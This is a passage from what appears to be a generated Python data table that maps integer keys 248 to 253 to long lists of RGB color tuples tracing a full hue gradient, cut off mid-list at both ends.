(204, 144, 101), (204, 146, 101), (204, 149, 101), (204, 151, 101), (204, 154, 101), (204, 156, 101), (204, 158, 101), (204, 161, 101), (204, 163, 101), (204, 166, 101), (204, 168, 101), (204, 171, 101), (204, 173, 101), (204, 176, 101), (204, 178, 101), (204, 181, 101), (204, 183, 101), (204, 186, 101), (204, 188, 101), (204, 191, 101), (204, 193, 101), (204, 196, 101), (204, 198, 101), (204, 201, 101), (204, 203, 101), (201, 204, 101), (199, 204, 101), (196, 204, 101), (194, 204, 101), (192, 204, 101), (189, 204, 101), (187, 204, 101), (184, 204, 101), (182, 204, 101), (179, 204, 101), (177, 204, 101), (174, 204, 101), (172, 204, 101), (169, 204, 101), (167, 204, 101), (164, 204, 101), (162, 204, 101), (159, 204, 101), (157, 204, 101), (154, 204, 101), (152, 204, 101), (149, 204, 101), (147, 204, 101), (144, 204, 101), (142, 204, 101), (139, 204, 101), (137, 204, 101), (135, 204, 101), (132, 204, 101), (130, 204, 101), (127, 204, 101), (125, 204, 101), (122, 204, 101), (120, 204, 101), (117, 204, 101), (115, 204, 101), (112, 204, 101), (110, 204, 101), (107, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 108), (101, 204, 111), (101, 204, 113), (101, 204, 116), (101, 204, 118), (101, 204, 120), (101, 204, 123), (101, 204, 125), (101, 204, 128), (101, 204, 130), (101, 204, 133), (101, 204, 135), (101, 204, 138), (101, 204, 140), (101, 204, 143), (101, 204, 145), (101, 204, 148), (101, 204, 150), (101, 204, 153), (101, 204, 155), (101, 204, 158), (101, 204, 160), (101, 204, 163), (101, 204, 165), (101, 204, 168), (101, 204, 170), (101, 204, 173), (101, 204, 175), (101, 204, 177), (101, 204, 180), (101, 204, 182), (101, 204, 185), (101, 204, 187), (101, 204, 190), (101, 204, 192), (101, 204, 195), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 195, 204), (101, 192, 204), (101, 190, 204), (101, 187, 204), (101, 185, 204), (101, 182, 204), (101, 180, 204), (101, 177, 204), (101, 175, 204), (101, 173, 204), (101, 170, 204), (101, 168, 204), (101, 165, 204), (101, 163, 204), (101, 160, 204), (101, 158, 204), (101, 155, 204), (101, 153, 204), (101, 150, 204), (101, 148, 204), (101, 145, 204), (101, 143, 204), (101, 140, 204), (101, 138, 204), (101, 135, 204), (101, 133, 204), (101, 130, 204), (101, 128, 204), (101, 125, 204), (101, 123, 204), (101, 120, 204), (101, 118, 204), (101, 116, 204), (101, 113, 204), (101, 111, 204), (101, 108, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (107, 101, 204), (110, 101, 204), (112, 101, 204), (115, 101, 204), (117, 101, 204), (120, 101, 204), (122, 101, 204), (125, 101, 204), (127, 101, 204), (130, 101, 204), (132, 101, 204), (135, 101, 204), (137, 101, 204), (139, 101, 204), (142, 101, 204), (144, 101, 204), (147, 101, 204), (149, 101, 204), (152, 101, 204), (154, 101, 204), (157, 101, 204), (159, 101, 204), (162, 101, 204), (164, 101, 204), (167, 101, 204), (169, 101, 204), (172, 101, 204), (174, 101, 204), (177, 101, 204), (179, 101, 204), (182, 101, 204), (184, 101, 204), (187, 101, 204), (189, 101, 204), (192, 101, 204), (194, 101, 204), (196, 101, 204), (199, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 201), (204, 101, 198), (204, 101, 196), (204, 101, 193), (204, 101, 191), (204, 101, 188), (204, 101, 186), (204, 101, 183), (204, 101, 181), (204, 101, 178), (204, 101, 176), (204, 101, 173), (204, 101, 171), (204, 101, 168), (204, 101, 166), (204, 101, 163), (204, 101, 161), (204, 101, 158), (204, 101, 156), (204, 101, 154), (204, 101, 151), (204, 101, 149), (204, 101, 146), (204, 101, 144), (204, 101, 141), (204, 101, 139), (204, 101, 136), (204, 101, 134), (204, 101, 131), (204, 101, 129), (204, 101, 126), (204, 101, 124), (204, 101, 121), (204, 101, 119), (204, 101, 116), (204, 101, 114), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)], 248: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 114, 101), (204, 116, 101), (204, 119, 101), (204, 121, 101), (204, 124, 101), (204, 126, 101), (204, 129, 101), (204, 131, 101), (204, 134, 101), (204, 136, 101), (204, 139, 101), (204, 141, 101), (204, 143, 101), (204, 146, 101), (204, 148, 101), (204, 151, 101), (204, 153, 101), (204, 156, 101), (204, 158, 101), (204, 161, 101), (204, 163, 101), (204, 166, 101), (204, 168, 101), (204, 171, 101), (204, 173, 101), (204, 176, 101), (204, 178, 101), (204, 180, 101), (204, 183, 101), (204, 185, 101), (204, 188, 101), (204, 190, 101), (204, 193, 101), (204, 195, 101), (204, 198, 101), (204, 200, 101), (204, 203, 101), (202, 204, 101), (199, 204, 101), (197, 204, 101), (194, 204, 101), (192, 204, 101), (190, 204, 101), (187, 204, 101), (185, 204, 101), (182, 204, 101), (180, 204, 101), (177, 204, 101), (175, 204, 101), (172, 204, 101), (170, 204, 101), (167, 204, 101), (165, 204, 101), (162, 204, 101), (160, 204, 101), (157, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (148, 204, 101), (145, 204, 101), (143, 204, 101), (140, 204, 101), (138, 204, 101), (135, 204, 101), (133, 204, 101), (130, 204, 101), (128, 204, 101), (125, 204, 101), (123, 204, 101), (120, 204, 101), (118, 204, 101), (115, 204, 101), (113, 204, 101), (111, 204, 101), (108, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 107), (101, 204, 110), (101, 204, 112), (101, 204, 115), (101, 204, 117), (101, 204, 120), (101, 204, 122), (101, 204, 125), (101, 204, 127), (101, 204, 129), (101, 204, 132), (101, 204, 134), (101, 204, 137), (101, 204, 139), (101, 204, 142), (101, 204, 144), (101, 204, 147), (101, 204, 149), (101, 204, 152), (101, 204, 154), (101, 204, 157), (101, 204, 159), (101, 204, 162), (101, 204, 164), (101, 204, 166), (101, 204, 169), (101, 204, 171), (101, 204, 174), (101, 204, 176), (101, 204, 179), (101, 204, 181), (101, 204, 184), (101, 204, 186), (101, 204, 189), (101, 204, 191), (101, 204, 194), (101, 204, 196), (101, 204, 199), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 199, 204), (101, 196, 204), (101, 194, 204), (101, 191, 204), (101, 189, 204), (101, 186, 204), (101, 184, 204), (101, 181, 204), (101, 179, 204), (101, 176, 204), (101, 174, 204), (101, 171, 204), (101, 169, 204), (101, 166, 204), (101, 164, 204), (101, 162, 204), (101, 159, 204), (101, 157, 204), (101, 154, 204), (101, 152, 204), (101, 149, 204), (101, 147, 204), (101, 144, 204), (101, 142, 204), (101, 139, 204), (101, 137, 204), (101, 134, 204), (101, 132, 204), (101, 129, 204), (101, 127, 204), (101, 125, 204), (101, 122, 204), (101, 120, 204), (101, 117, 204), (101, 115, 204), (101, 112, 204), (101, 110, 204), (101, 107, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (108, 101, 204), (111, 101, 204), (113, 101, 204), (115, 101, 204), (118, 101, 204), (120, 101, 204), (123, 101, 204), (125, 101, 204), (128, 101, 204), (130, 101, 204), (133, 101, 204), (135, 101, 204), (138, 101, 204), (140, 101, 204), (143, 101, 204), (145, 101, 204), (148, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (157, 101, 204), (160, 101, 204), (162, 101, 204), (165, 101, 204), (167, 101, 204), (170, 101, 204), (172, 101, 204), (175, 101, 204), (177, 101, 204), (180, 101, 204), (182, 101, 204), (185, 101, 204), (187, 101, 204), (190, 101, 204), (192, 101, 204), (194, 101, 204), (197, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 198), (204, 101, 195), (204, 101, 193), (204, 101, 190), (204, 101, 188), (204, 101, 185), (204, 101, 183), (204, 101, 180), (204, 101, 178), (204, 101, 176), (204, 101, 173), (204, 101, 171), (204, 101, 168), (204, 101, 166), (204, 101, 163), (204, 101, 161), (204, 101, 158), (204, 101, 156), (204, 101, 153), (204, 101, 151), (204, 101, 148), (204, 101, 146), (204, 101, 143), (204, 101, 141), (204, 101, 139), (204, 101, 136), (204, 101, 134), (204, 101, 131), (204, 101, 129), (204, 101, 126), (204, 101, 124), (204, 101, 121), (204, 101, 119), (204, 101, 116), (204, 101, 114), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)], 249: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 114, 101), (204, 116, 101), (204, 119, 101), (204, 121, 101), (204, 124, 101), (204, 126, 101), (204, 129, 101), (204, 131, 101), (204, 133, 101), (204, 136, 101), (204, 138, 101), (204, 141, 101), (204, 143, 101), (204, 146, 101), (204, 148, 101), (204, 151, 101), (204, 153, 101), (204, 156, 101), (204, 158, 101), (204, 160, 101), (204, 163, 101), (204, 165, 101), (204, 168, 101), (204, 170, 101), (204, 173, 101), (204, 175, 101), (204, 178, 101), (204, 180, 101), (204, 183, 101), (204, 185, 101), (204, 188, 101), (204, 190, 101), (204, 192, 101), (204, 195, 101), (204, 197, 101), (204, 200, 101), (204, 202, 101), (202, 204, 101), (200, 204, 101), (197, 204, 101), (195, 204, 101), (192, 204, 101), (190, 204, 101), (188, 204, 101), (185, 204, 101), (183, 204, 101), (180, 204, 101), (178, 204, 101), (175, 204, 101), (173, 204, 101), (170, 204, 101), (168, 204, 101), (165, 204, 101), (163, 204, 101), (160, 204, 101), (158, 204, 101), (156, 204, 101), (153, 204, 101), (151, 204, 101), (148, 204, 101), (146, 204, 101), (143, 204, 101), (141, 204, 101), (138, 204, 101), (136, 204, 101), (133, 204, 101), (131, 204, 101), (129, 204, 101), (126, 204, 101), (124, 204, 101), (121, 204, 101), (119, 204, 101), (116, 204, 101), (114, 204, 101), (111, 204, 101), (109, 204, 101), (106, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 106), (101, 204, 109), (101, 204, 111), (101, 204, 114), (101, 204, 116), (101, 204, 119), (101, 204, 121), (101, 204, 124), (101, 204, 126), (101, 204, 129), (101, 204, 131), (101, 204, 133), (101, 204, 136), (101, 204, 138), (101, 204, 141), (101, 204, 143), (101, 204, 146), (101, 204, 148), (101, 204, 151), (101, 204, 153), (101, 204, 156), (101, 204, 158), (101, 204, 160), (101, 204, 163), (101, 204, 165), (101, 204, 168), (101, 204, 170), (101, 204, 173), (101, 204, 175), (101, 204, 178), (101, 204, 180), (101, 204, 183), (101, 204, 185), (101, 204, 188), (101, 204, 190), (101, 204, 192), (101, 204, 195), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 195, 204), (101, 192, 204), (101, 190, 204), (101, 188, 204), (101, 185, 204), (101, 183, 204), (101, 180, 204), (101, 178, 204), (101, 175, 204), (101, 173, 204), (101, 170, 204), (101, 168, 204), (101, 165, 204), (101, 163, 204), (101, 160, 204), (101, 158, 204), (101, 156, 204), (101, 153, 204), (101, 151, 204), (101, 148, 204), (101, 146, 204), (101, 143, 204), (101, 141, 204), (101, 138, 204), (101, 136, 204), (101, 133, 204), (101, 131, 204), (101, 129, 204), (101, 126, 204), (101, 124, 204), (101, 121, 204), (101, 119, 204), (101, 116, 204), (101, 114, 204), (101, 111, 204), (101, 109, 204), (101, 106, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (106, 101, 204), (109, 101, 204), (111, 101, 204), (114, 101, 204), (116, 101, 204), (119, 101, 204), (121, 101, 204), (124, 101, 204), (126, 101, 204), (129, 101, 204), (131, 101, 204), (133, 101, 204), (136, 101, 204), (138, 101, 204), (141, 101, 204), (143, 101, 204), (146, 101, 204), (148, 101, 204), (151, 101, 204), (153, 101, 204), (156, 101, 204), (158, 101, 204), (160, 101, 204), (163, 101, 204), (165, 101, 204), (168, 101, 204), (170, 101, 204), (173, 101, 204), (175, 101, 204), (178, 101, 204), (180, 101, 204), (183, 101, 204), (185, 101, 204), (188, 101, 204), (190, 101, 204), (192, 101, 204), (195, 101, 204), (197, 101, 204), (200, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 200), (204, 101, 197), (204, 101, 195), (204, 101, 192), (204, 101, 190), (204, 101, 188), (204, 101, 185), (204, 101, 183), (204, 101, 180), (204, 101, 178), (204, 101, 175), (204, 101, 173), (204, 101, 170), (204, 101, 168), (204, 101, 165), (204, 101, 163), (204, 101, 160), (204, 101, 158), (204, 101, 156), (204, 101, 153), (204, 101, 151), (204, 101, 148), (204, 101, 146), (204, 101, 143), (204, 101, 141), (204, 101, 138), (204, 101, 136), (204, 101, 133), (204, 101, 131), (204, 101, 129), (204, 101, 126), (204, 101, 124), (204, 101, 121), (204, 101, 119), (204, 101, 116), (204, 101, 114), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)], 250: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 114, 101), (204, 116, 101), (204, 119, 101), (204, 121, 101), (204, 124, 101), (204, 126, 101), (204, 128, 101), (204, 131, 101), (204, 133, 101), (204, 136, 101), (204, 138, 101), (204, 141, 101), (204, 143, 101), (204, 146, 101), (204, 148, 101), (204, 150, 101), (204, 153, 101), (204, 155, 101), (204, 158, 101), (204, 160, 101), (204, 163, 101), (204, 165, 101), (204, 168, 101), (204, 170, 101), (204, 172, 101), (204, 175, 101), (204, 177, 101), (204, 180, 101), (204, 182, 101), (204, 185, 101), (204, 187, 101), (204, 190, 101), (204, 192, 101), (204, 195, 101), (204, 197, 101), (204, 199, 101), (204, 202, 101), (203, 204, 101), (200, 204, 101), (198, 204, 101), (195, 204, 101), (193, 204, 101), (190, 204, 101), (188, 204, 101), (186, 204, 101), (183, 204, 101), (181, 204, 101), (178, 204, 101), (176, 204, 101), (173, 204, 101), (171, 204, 101), (168, 204, 101), (166, 204, 101), (164, 204, 101), (161, 204, 101), (159, 204, 101), (156, 204, 101), (154, 204, 101), (151, 204, 101), (149, 204, 101), (146, 204, 101), (144, 204, 101), (141, 204, 101), (139, 204, 101), (137, 204, 101), (134, 204, 101), (132, 204, 101), (129, 204, 101), (127, 204, 101), (124, 204, 101), (122, 204, 101), (119, 204, 101), (117, 204, 101), (115, 204, 101), (112, 204, 101), (110, 204, 101), (107, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 108), (101, 204, 110), (101, 204, 113), (101, 204, 115), (101, 204, 118), (101, 204, 120), (101, 204, 123), (101, 204, 125), (101, 204, 128), (101, 204, 130), (101, 204, 133), (101, 204, 135), (101, 204, 137), (101, 204, 140), (101, 204, 142), (101, 204, 145), (101, 204, 147), (101, 204, 150), (101, 204, 152), (101, 204, 155), (101, 204, 157), (101, 204, 159), (101, 204, 162), (101, 204, 164), (101, 204, 167), (101, 204, 169), (101, 204, 172), (101, 204, 174), (101, 204, 177), (101, 204, 179), (101, 204, 181), (101, 204, 184), (101, 204, 186), (101, 204, 189), (101, 204, 191), (101, 204, 194), (101, 204, 196), (101, 204, 199), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 199, 204), (101, 196, 204), (101, 194, 204), (101, 191, 204), (101, 189, 204), (101, 186, 204), (101, 184, 204), (101, 181, 204), (101, 179, 204), (101, 177, 204), (101, 174, 204), (101, 172, 204), (101, 169, 204), (101, 167, 204), (101, 164, 204), (101, 162, 204), (101, 159, 204), (101, 157, 204), (101, 155, 204), (101, 152, 204), (101, 150, 204), (101, 147, 204), (101, 145, 204), (101, 142, 204), (101, 140, 204), (101, 137, 204), (101, 135, 204), (101, 133, 204), (101, 130, 204), (101, 128, 204), (101, 125, 204), (101, 123, 204), (101, 120, 204), (101, 118, 204), (101, 115, 204), (101, 113, 204), (101, 110, 204), (101, 108, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (107, 101, 204), (110, 101, 204), (112, 101, 204), (115, 101, 204), (117, 101, 204), (119, 101, 204), (122, 101, 204), (124, 101, 204), (127, 101, 204), (129, 101, 204), (132, 101, 204), (134, 101, 204), (137, 101, 204), (139, 101, 204), (141, 101, 204), (144, 101, 204), (146, 101, 204), (149, 101, 204), (151, 101, 204), (154, 101, 204), (156, 101, 204), (159, 101, 204), (161, 101, 204), (164, 101, 204), (166, 101, 204), (168, 101, 204), (171, 101, 204), (173, 101, 204), (176, 101, 204), (178, 101, 204), (181, 101, 204), (183, 101, 204), (186, 101, 204), (188, 101, 204), (190, 101, 204), (193, 101, 204), (195, 101, 204), (198, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 197), (204, 101, 195), (204, 101, 192), (204, 101, 190), (204, 101, 187), (204, 101, 185), (204, 101, 182), (204, 101, 180), (204, 101, 177), (204, 101, 175), (204, 101, 172), (204, 101, 170), (204, 101, 168), (204, 101, 165), (204, 101, 163), (204, 101, 160), (204, 101, 158), (204, 101, 155), (204, 101, 153), (204, 101, 150), (204, 101, 148), (204, 101, 146), (204, 101, 143), (204, 101, 141), (204, 101, 138), (204, 101, 136), (204, 101, 133), (204, 101, 131), (204, 101, 128), (204, 101, 126), (204, 101, 124), (204, 101, 121), (204, 101, 119), (204, 101, 116), (204, 101, 114), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)], 251: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 114, 101), (204, 116, 101), (204, 119, 101), (204, 121, 101), (204, 123, 101), (204, 126, 101), (204, 128, 101), (204, 131, 101), (204, 133, 101), (204, 136, 101), (204, 138, 101), (204, 141, 101), (204, 143, 101), (204, 145, 101), (204, 148, 101), (204, 150, 101), (204, 153, 101), (204, 155, 101), (204, 158, 101), (204, 160, 101), (204, 162, 101), (204, 165, 101), (204, 167, 101), (204, 170, 101), (204, 172, 101), (204, 175, 101), (204, 177, 101), (204, 180, 101), (204, 182, 101), (204, 184, 101), (204, 187, 101), (204, 189, 101), (204, 192, 101), (204, 194, 101), (204, 197, 101), (204, 199, 101), (204, 201, 101), (203, 204, 101), (201, 204, 101), (198, 204, 101), (196, 204, 101), (193, 204, 101), (191, 204, 101), (188, 204, 101), (186, 204, 101), (184, 204, 101), (181, 204, 101), (179, 204, 101), (176, 204, 101), (174, 204, 101), (171, 204, 101), (169, 204, 101), (167, 204, 101), (164, 204, 101), (162, 204, 101), (159, 204, 101), (157, 204, 101), (154, 204, 101), (152, 204, 101), (149, 204, 101), (147, 204, 101), (145, 204, 101), (142, 204, 101), (140, 204, 101), (137, 204, 101), (135, 204, 101), (132, 204, 101), (130, 204, 101), (128, 204, 101), (125, 204, 101), (123, 204, 101), (120, 204, 101), (118, 204, 101), (115, 204, 101), (113, 204, 101), (110, 204, 101), (108, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 107), (101, 204, 110), (101, 204, 112), (101, 204, 115), (101, 204, 117), (101, 204, 119), (101, 204, 122), (101, 204, 124), (101, 204, 127), (101, 204, 129), (101, 204, 132), (101, 204, 134), (101, 204, 136), (101, 204, 139), (101, 204, 141), (101, 204, 144), (101, 204, 146), (101, 204, 149), (101, 204, 151), (101, 204, 154), (101, 204, 156), (101, 204, 158), (101, 204, 161), (101, 204, 163), (101, 204, 166), (101, 204, 168), (101, 204, 171), (101, 204, 173), (101, 204, 175), (101, 204, 178), (101, 204, 180), (101, 204, 183), (101, 204, 185), (101, 204, 188), (101, 204, 190), (101, 204, 193), (101, 204, 195), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 195, 204), (101, 193, 204), (101, 190, 204), (101, 188, 204), (101, 185, 204), (101, 183, 204), (101, 180, 204), (101, 178, 204), (101, 175, 204), (101, 173, 204), (101, 171, 204), (101, 168, 204), (101, 166, 204), (101, 163, 204), (101, 161, 204), (101, 158, 204), (101, 156, 204), (101, 154, 204), (101, 151, 204), (101, 149, 204), (101, 146, 204), (101, 144, 204), (101, 141, 204), (101, 139, 204), (101, 136, 204), (101, 134, 204), (101, 132, 204), (101, 129, 204), (101, 127, 204), (101, 124, 204), (101, 122, 204), (101, 119, 204), (101, 117, 204), (101, 115, 204), (101, 112, 204), (101, 110, 204), (101, 107, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (108, 101, 204), (110, 101, 204), (113, 101, 204), (115, 101, 204), (118, 101, 204), (120, 101, 204), (123, 101, 204), (125, 101, 204), (128, 101, 204), (130, 101, 204), (132, 101, 204), (135, 101, 204), (137, 101, 204), (140, 101, 204), (142, 101, 204), (145, 101, 204), (147, 101, 204), (149, 101, 204), (152, 101, 204), (154, 101, 204), (157, 101, 204), (159, 101, 204), (162, 101, 204), (164, 101, 204), (167, 101, 204), (169, 101, 204), (171, 101, 204), (174, 101, 204), (176, 101, 204), (179, 101, 204), (181, 101, 204), (184, 101, 204), (186, 101, 204), (188, 101, 204), (191, 101, 204), (193, 101, 204), (196, 101, 204), (198, 101, 204), (201, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 199), (204, 101, 197), (204, 101, 194), (204, 101, 192), (204, 101, 189), (204, 101, 187), (204, 101, 184), (204, 101, 182), (204, 101, 180), (204, 101, 177), (204, 101, 175), (204, 101, 172), (204, 101, 170), (204, 101, 167), (204, 101, 165), (204, 101, 162), (204, 101, 160), (204, 101, 158), (204, 101, 155), (204, 101, 153), (204, 101, 150), (204, 101, 148), (204, 101, 145), (204, 101, 143), (204, 101, 141), (204, 101, 138), (204, 101, 136), (204, 101, 133), (204, 101, 131), (204, 101, 128), (204, 101, 126), (204, 101, 123), (204, 101, 121), (204, 101, 119), (204, 101, 116), (204, 101, 114), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)], 252: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 114, 101), (204, 116, 101), (204, 118, 101), (204, 121, 101), (204, 123, 101), (204, 126, 101), (204, 128, 101), (204, 131, 101), (204, 133, 101), (204, 136, 101), (204, 138, 101), (204, 140, 101), (204, 143, 101), (204, 145, 101), (204, 148, 101), (204, 150, 101), (204, 152, 101), (204, 155, 101), (204, 157, 101), (204, 160, 101), (204, 162, 101), (204, 165, 101), (204, 167, 101), (204, 170, 101), (204, 172, 101), (204, 174, 101), (204, 177, 101), (204, 179, 101), (204, 182, 101), (204, 184, 101), (204, 186, 101), (204, 189, 101), (204, 191, 101), (204, 194, 101), (204, 196, 101), (204, 199, 101), (204, 201, 101), (204, 204, 101), (201, 204, 101), (199, 204, 101), (196, 204, 101), (194, 204, 101), (191, 204, 101), (189, 204, 101), (187, 204, 101), (184, 204, 101), (182, 204, 101), (179, 204, 101), (177, 204, 101), (174, 204, 101), (172, 204, 101), (169, 204, 101), (167, 204, 101), (165, 204, 101), (162, 204, 101), (160, 204, 101), (157, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (148, 204, 101), (145, 204, 101), (143, 204, 101), (140, 204, 101), (138, 204, 101), (136, 204, 101), (133, 204, 101), (131, 204, 101), (128, 204, 101), (126, 204, 101), (123, 204, 101), (121, 204, 101), (118, 204, 101), (116, 204, 101), (114, 204, 101), (111, 204, 101), (109, 204, 101), (106, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 106), (101, 204, 109), (101, 204, 111), (101, 204, 114), (101, 204, 116), (101, 204, 119), (101, 204, 121), (101, 204, 123), (101, 204, 126), (101, 204, 128), (101, 204, 131), (101, 204, 133), (101, 204, 135), (101, 204, 138), (101, 204, 140), (101, 204, 143), (101, 204, 145), (101, 204, 148), (101, 204, 150), (101, 204, 152), (101, 204, 155), (101, 204, 157), (101, 204, 160), (101, 204, 162), (101, 204, 165), (101, 204, 167), (101, 204, 170), (101, 204, 172), (101, 204, 174), (101, 204, 177), (101, 204, 179), (101, 204, 182), (101, 204, 184), (101, 204, 187), (101, 204, 189), (101, 204, 191), (101, 204, 194), (101, 204, 196), (101, 204, 199), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 199, 204), (101, 196, 204), (101, 194, 204), (101, 191, 204), (101, 189, 204), (101, 187, 204), (101, 184, 204), (101, 182, 204), (101, 179, 204), (101, 177, 204), (101, 174, 204), (101, 172, 204), (101, 169, 204), (101, 167, 204), (101, 165, 204), (101, 162, 204), (101, 160, 204), (101, 157, 204), (101, 155, 204), (101, 153, 204), (101, 150, 204), (101, 148, 204), (101, 145, 204), (101, 143, 204), (101, 140, 204), (101, 138, 204), (101, 135, 204), (101, 133, 204), (101, 131, 204), (101, 128, 204), (101, 126, 204), (101, 123, 204), (101, 121, 204), (101, 118, 204), (101, 116, 204), (101, 114, 204), (101, 111, 204), (101, 109, 204), (101, 106, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (106, 101, 204), (109, 101, 204), (111, 101, 204), (114, 101, 204), (116, 101, 204), (118, 101, 204), (121, 101, 204), (123, 101, 204), (126, 101, 204), (128, 101, 204), (131, 101, 204), (133, 101, 204), (136, 101, 204), (138, 101, 204), (140, 101, 204), (143, 101, 204), (145, 101, 204), (148, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (157, 101, 204), (160, 101, 204), (162, 101, 204), (165, 101, 204), (167, 101, 204), (169, 101, 204), (172, 101, 204), (174, 101, 204), (177, 101, 204), (179, 101, 204), (182, 101, 204), (184, 101, 204), (186, 101, 204), (189, 101, 204), (191, 101, 204), (194, 101, 204), (196, 101, 204), (199, 101, 204), (201, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 199), (204, 101, 196), (204, 101, 194), (204, 101, 191), (204, 101, 189), (204, 101, 186), (204, 101, 184), (204, 101, 182), (204, 101, 179), (204, 101, 177), (204, 101, 174), (204, 101, 172), (204, 101, 169), (204, 101, 167), (204, 101, 165), (204, 101, 162), (204, 101, 160), (204, 101, 157), (204, 101, 155), (204, 101, 153), (204, 101, 150), (204, 101, 148), (204, 101, 145), (204, 101, 143), (204, 101, 140), (204, 101, 138), (204, 101, 135), (204, 101, 133), (204, 101, 131), (204, 101, 128), (204, 101, 126), (204, 101, 123), (204, 101, 121), (204, 101, 118), (204, 101, 116), (204, 101, 114), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)], 253: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 114, 101), (204, 116, 101), (204, 118, 101), (204, 121, 101), (204, 123, 101), (204, 126, 101), (204, 128, 101), (204, 131, 101), (204, 133, 101), (204, 135, 101), (204, 138, 101), (204, 140, 101), (204, 143, 101), (204, 145, 101), (204, 147, 101), (204, 150, 101), (204, 152, 101), (204, 155, 101), (204, 157, 101), (204, 160, 101), (204, 162, 101), (204, 164, 101), (204, 167, 101), (204, 169, 101), (204, 172, 101), (204, 174, 101), (204, 176, 101), (204, 179, 101), (204, 181, 101), (204, 184, 101), (204, 186, 101), (204, 189, 101), (204, 191, 101), (204, 193, 101), (204, 196, 101), (204, 198, 101), (204, 201, 101), (204, 203, 101), (201, 204, 101), (199, 204, 101), (197, 204, 101), (194, 204, 101), (192, 204, 101), (189, 204, 101), (187, 204, 101), (185, 204, 101), (182, 204, 101), (180, 204, 101), (177, 204, 101), (175, 204, 101), (172, 204, 101), (170, 204, 101), (168, 204, 101), (165, 204, 101), (163, 204, 101), (160, 204, 101), (158, 204, 101), (156, 204, 101), (153, 204, 101), (151, 204, 101), (148, 204, 101), (146, 204, 101), (143, 204, 101), (141, 204, 101), (139, 204, 101), (136, 204, 101), (134, 204, 101), (131, 204, 101), (129, 204, 101), (126, 204, 101), (124, 204, 101), (122, 204, 101), (119, 204, 101), (117, 204, 101), (114, 204, 101), (112, 204, 101), (110, 204, 101), (107, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 108), (101, 204, 110), (101, 204, 113), (101, 204, 115), (101, 204, 118), (101, 204, 120), (101, 204, 122), (101, 204, 125), (101, 204, 127), (101, 204, 130), (101, 204, 132), (101, 204, 135), (101, 204, 137), (101, 204, 139), (101, 204, 142), (101, 204, 144), (101, 204, 147), (101, 204, 149), (101, 204, 151), (101, 204, 154), (101, 204, 156), (101, 204, 159), (101, 204, 161), (101, 204, 164), (101, 204, 166), (101, 204, 168), (101, 204, 171), (101, 204, 173), (101, 204, 176), (101, 204, 178), (101, 204, 181), (101, 204, 183), (101, 204, 185), (101, 204, 188), (101, 204, 190), (101, 204, 193), (101, 204, 195), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 195, 204), (101, 193, 204), (101, 190, 204), (101, 188, 204), (101, 185, 204), (101, 183, 204), (101, 181, 204), (101, 178, 204), (101, 176, 204), (101, 173, 204), (101, 171, 204), (101, 168, 204), (101, 166, 204), (101, 164, 204), (101, 161, 204), (101, 159, 204), (101, 156, 204), (101, 154, 204), (101, 151, 204), (101, 149, 204), (101, 147, 204), (101, 144, 204), (101, 142, 204), (101, 139, 204), (101, 137, 204), (101, 135, 204), (101, 132, 204), (101, 130, 204), (101, 127, 204), (101, 125, 204), (101, 122, 204), (101, 120, 204), (101, 118, 204), (101, 115, 204), (101, 113, 204), (101, 110, 204), (101, 108, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (107, 101, 204), (110, 101, 204), (112, 101, 204), (114, 101, 204), (117, 101, 204), (119, 101, 204), (122, 101, 204), (124, 101, 204), (126, 101, 204), (129, 101, 204), (131, 101, 204), (134, 101, 204), 